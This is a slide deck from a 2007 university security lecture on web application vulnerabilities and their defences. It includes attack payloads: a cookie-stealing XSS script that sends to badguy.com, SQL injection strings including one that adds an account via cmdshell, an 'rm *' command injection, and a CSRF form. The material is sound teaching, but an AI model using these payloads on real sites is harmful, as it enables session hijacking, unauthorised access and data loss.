480 likes | 560 Views
Spring 2007. CS 155. Secure Web Site Design. Dan Boneh. Project 2: out today. Vulnerability Statistics: web is “winning”. Majority of vulnerabilities now found in web software. Source: MITRE CVE trends. Authorization Netegrity (CA) Oblix (Oracle). Schematic web site architecture.
E N D
Spring 2007 CS 155 Secure Web Site Design Dan Boneh Project 2: out today
Vulnerability Statistics: web is “winning” Majority of vulnerabilities now found in web software Source: MITRE CVE trends
Authorization Netegrity (CA) Oblix (Oracle) Schematic web site architecture WS1 Firewall Firewall ApplicationFirewall (WAF) LoadBalancer DB AppServers WS2 WS3 IDS To CCprocessor
Web Application Firewalls • Prevent some attacks we discuss today: • SQL Injection • Form field tampering • Cookie poisoning • Some examples: • Imperva • Kavado Interdo • F5 TrafficShield • Citrix NetScaler • CheckPoint Web Intelligence
Our focus: web app code • Common web-site attacks: • Denial of Service: later in course • Attack the web server (IIS, Apache) : • e.g. control hijacking: CodeRed, Nimda, … • Solutions: • Harden web server: stackguard, libsafe, … • Worm defense: later in course. • Host based intrusion detection, • Worm signatures generation, shields. • Today: • Common vulnerabilities in web application code
Web app code • Runs on web server or app server. • Takes input from web users (via web server) • Interacts with the database and 3rd parties. • Prepares results for users (via web server) • Examples: • Shopping carts, home banking, bill pay, tax prep, … • New code written for every web site. • Written in: • C, PHP, Perl, Python, JSP, ASP, … • Often written with little consideration for security.
HTTP Request Method File HTTP version Headers GET /default.asp HTTP/1.0 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Connection: Keep-Alive If-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT Blank line Data – none for GET GET: no side effect. POST: possible side effect.
HTTP Response HTTP version Status code Reason phrase Headers HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Content-Length: 2543 <HTML> Some data... blah, blah, blah </HTML> Data
Document Object Model (DOM) • Object-oriented interface used to read and write docs • web page in HTML is structured data • DOM provides representation of this hierarchy • Examples • Properties: document.alinkColor, document.URL, document.forms[ ], document.links[ ], document.anchors[ ] • Methods: document.write(document.referrer) • Also Browser Object Model (BOM) • Window, Document, Frames[], History, Location, Navigator (type and version of browser)
If expires=NULL: this session only Cookies • Used to store state on user’s machine GET … Server Browser HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (only over SSL) Server Browser GET … Cookie: NAME = VALUE Http is stateless protocol; cookies add state
Cookies • Brower will store: • At most 20 cookies/site, 3 KB / cookie • Uses: • User authentication • Personalization • User tracking: e.g. Doubleclick (3rd party cookies)
Browser Same Origin Principle • Web sites from different domains cannot interact except in very limited ways. Applies to: • Cookies: cookie from origin A not visible to origin B • Properties: script from origin A cannot read or set properties for origin B • Two origins are the same iff • Domain-name, port, and protocol are equal https://www.example.com:443/whoami http://www.example.com:443/hello • Note: setting document.domain changes origin. • Can only be set to suffix of domain name.
SOP Examples • Example HTML at www.site.com • Disallowed access: <iframe src="http://othersite.com"></iframe> alert( frames[0].contentDocument.body.innerHTML ) alert( frames[0].src ) • Allowed access: <img src="http://othersite.com/logo.gif"> alert( images[0].height ) • Note: SOP allows “send-only” communication with othersite
Common vulnerabilities (OWASP) • Inadequate validation of user input • Cross site scripting • SQL Injection • HTTP Splitting • Broken session management • Can lead to session hijacking and data theft • Insecure storage • Sensitive data stored in the clear. • Prime target for theft – e.g. egghead, Verizon. • Note: PCI Data Security Standard (Visa, Mastercard)
script name script input system(“cp temp.dat $name.dat”) Warm up: a simple example • Direct use of user input: • http://victim.com/ copy.php ? name=username • copy.php: • Problem: • http://victim.com/ copy.php ? name=“a ; rm *” (should be: name=a%20;%20rm%20* )
Redirects • EZShopper.com shopping cart (10/2004): http://…/cgi-bin/ loadpage.cgi ? page=url • Redirects browser to url • Redirects are common on many sites • Used to track when user clicks on external link • EZShopper uses redirect to add HTTP headers • Problem: phishing http://victim.com/cgi-bin/loadpage ? page=phisher.com • Link to victim.com puts user at phisher.com Local redirects should ensure target URL is local
The setup • User input is echoed into HTML response. • Example: search field • http://victim.com/search.php ? term = apple • search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> • Is this exploitable?
Bad input • Problem: no validation of input term • Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> • What if user clicks on this link? • Browser goes to victim.com/search.php • Victim.com returns <HTML> Results for <script> … </script> • Browser executes script: • Sends badguy.com cookie for victim.com
So what? • Why would user click on such a link? • Phishing email in webmail client (e.g. gmail). • Link in doubleclick banner ad • … many many ways to fool user into clicking • What if badguy.com gets cookie for victim.com ? • Cookie can include session auth for victim.com • Or other data intended only for victim.com • Violates same origin policy
Much worse … • Attacker can execute arbitrary scripts in browser • Can manipulate any DOM component on victim.com • Control links on page • Control form fields (e.g. password field) on this page and linked pages. • Example: inject password field that sends password to bad guy. • Can infect other users: MySpace.com worm.
MySpace.com (Samy worm) • Users can post HTML on their pages • MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> • … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide “javascript” as “java\nscript” • With careful javascript hacking: • Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. • Samy had millions of friends within 24 hours. • More info: http://namb.la/popular/tech.html
Avoiding XSS bugs (PHP) • Main problem: • Input checking is difficult --- many ways to inject scripts into HTML. • Preprocess input from user before echoing it • PHP: htmlspecialchars(string) & & " " ' ' < < > > • htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: <a href='test'>Test</a>
Avoiding XSS bugs (ASP.NET) • ASP.NET 1.1: • Server.HtmlEncode(string) • Similar to PHP htmlspecialchars • validateRequest: (on by default) • Crashes page if finds <script> in POST data. • Looks for hardcoded list of patterns. • Can be disabled: <%@ Page validateRequest=“false" %>
httpOnly Cookies (IE) GET … Server Browser HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly • Cookie sent over HTTP(s), but not accessible to scripts • cannot be read via document.cookie • Helps prevent cookie theft via XSS • … but does not stop most other risks of XSS bugs.
The setup • User input is used in SQL query • Example: login page (ASP) set ok = execute(“SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); If not ok.EOF login success else fail; • Is this exploitable?
Bad input • Suppose user = “ ′or 1 = 1 --” (URL encoded) • Then scripts does: ok = execute( SELECT … WHERE username= ′ ′ or 1=1 -- … ) • The “--” causes rest of line to be ignored. • Now ok.EOF is always false. • The bad news: easy login to many sites this way.
Even worse • Suppose user = ′exec cmdshell ′net user badguy badpwd′ / ADD -- • Then script does: ok = execute( SELECT … WHERE username= ′ ′ exec … ) If SQL server contextruns as “sa”, attacker gets account on DB server.
Avoiding SQL injection • Build SQL queries by properly escaping args: ′ \′ • Example: Parameterized SQL: (ASP.NET 1.1) • Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader(); • In PHP: bound parameters -- similar function
0x 5c \ 0x bf27 ¿′ 0x bf 5c ′ PHP addslashes() • PHP: addslashes( “ ’ or 1 = 1 --”) outputs: “ \’ or 1=1 --” • Unicode attack: (GBK) • $user = 0x bf27 • addslashes ($user) 0x bf 5c27 • Correct implementation: mysql_real_escape_string()
App code • Little programming knowledge can be dangerous: • Cross site scripting • SQL Injection • HTTP Splitting • What to do? • Band-aid: Web App Firewall (WAF) • Looks for attack patterns and blocks requests • False positive / false negatives • Code checking
Code checking • Blackbox security testing services: • Whitehatsec.com • Automated blackbox testing tools: • Cenzic, Hailstorm • Spidynamic, WebInspect • eEye, Retina • Web application hardening tools: • WebSSARI [WWW’04] : based on information flow • Nguyen-Tuong [IFIP’05] : based on tainting
Session Management Cookies, hidden fields, and user authentication
If expires=NULL: this session only Cookies • Used to store state on user’s machine GET … Server Browser HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (only over SSL) Server Browser GET … Cookie: NAME = VALUE Http is stateless protocol; cookies add state
Cookie risks • Danger of storing data on browser: • User can change values • Silly example: Shopping cart software. Set-cookie: shopping-cart-total = 150 ($) • User edits cookie file (cookie poisoning): Cookie: shopping-cart-total = 15 ($) • … bargain shopping. • Similar behavior with hidden fields: <INPUT TYPE=“hidden” NAME=price VALUE=“150”>
Not so silly … (as of 2/2005) • D3.COM Pty Ltd: ShopFactory 5.8 • @Retail Corporation: @Retail • Adgrafix: Check It Out • Baron Consulting Group: WebSite Tool • ComCity Corporation: SalesCart • Crested Butte Software: EasyCart • Dansie.net: Dansie Shopping Cart • Intelligent Vending Systems: Intellivend • Make-a-Store: Make-a-Store OrderPage • McMurtrey/Whitaker & Associates: Cart32 3.0 • pknutsen@nethut.no: CartMan 1.04 • Rich Media Technologies: JustAddCommerce 5.0 • SmartCart: SmartCart • Web Express: Shoptron 1.2 • Source: http://xforce.iss.net/xforce/xfdb/4621
Example: dansie.net shopping cart • http://www.dansie.net/demo.html (May, 2006) <FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl"> Black Leather purse with leather straps<BR>Price: $20.00<BR> <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"><INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http://www.dansie.net/demo.html"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps"> <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"> </FORM> • CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115
Solution • When storing state on browser MAC data using server secret key. • .NET 2.0: • System.Web.Configuration.MachineKey • Secret web server key intended for cookie protection • HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedCookie =HttpSecureCookie.Encode(cookie); • HttpSecureCookie.Decode(cookie);
POST login.cgi Username & pwd Validate user auth=val Set-cookie: auth=val Store val GET restricted.html Cookie: auth=val restricted.html auth=val If YES, restricted.html YES/NO Cookie authentication Browser Web Server Auth server Check val
Weak authenticators: security risk • Predictable cookie authenticator • Verizon Wireless - counter • Valid user logs in, gets counter, can view sessions of other users. • Weak authenticator generation: [Fu et al. ’01] • WSJ.com: cookie = {user, MACk(user) } • Weak MAC exposes K from few cookies. • Apache Tomcat: generateSessionID() • MD5(PRNG) … but weak PRNG [GM’05]. • Predictable SessionID’s
Cross Site Request Forgery • Example: • User logs in to bank.com. Forgets to sign off. • Session cookie remains in browser state • Then user visits another site containing: <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script> • Browser sends user auth cookie with request • Transaction will be fulfilled • Problem: • cookie auth is insufficient when side effects can happen • Correct use: use cookies + hidden fields
Take home message: On the web: Little programming knowledge can be a dangerous thing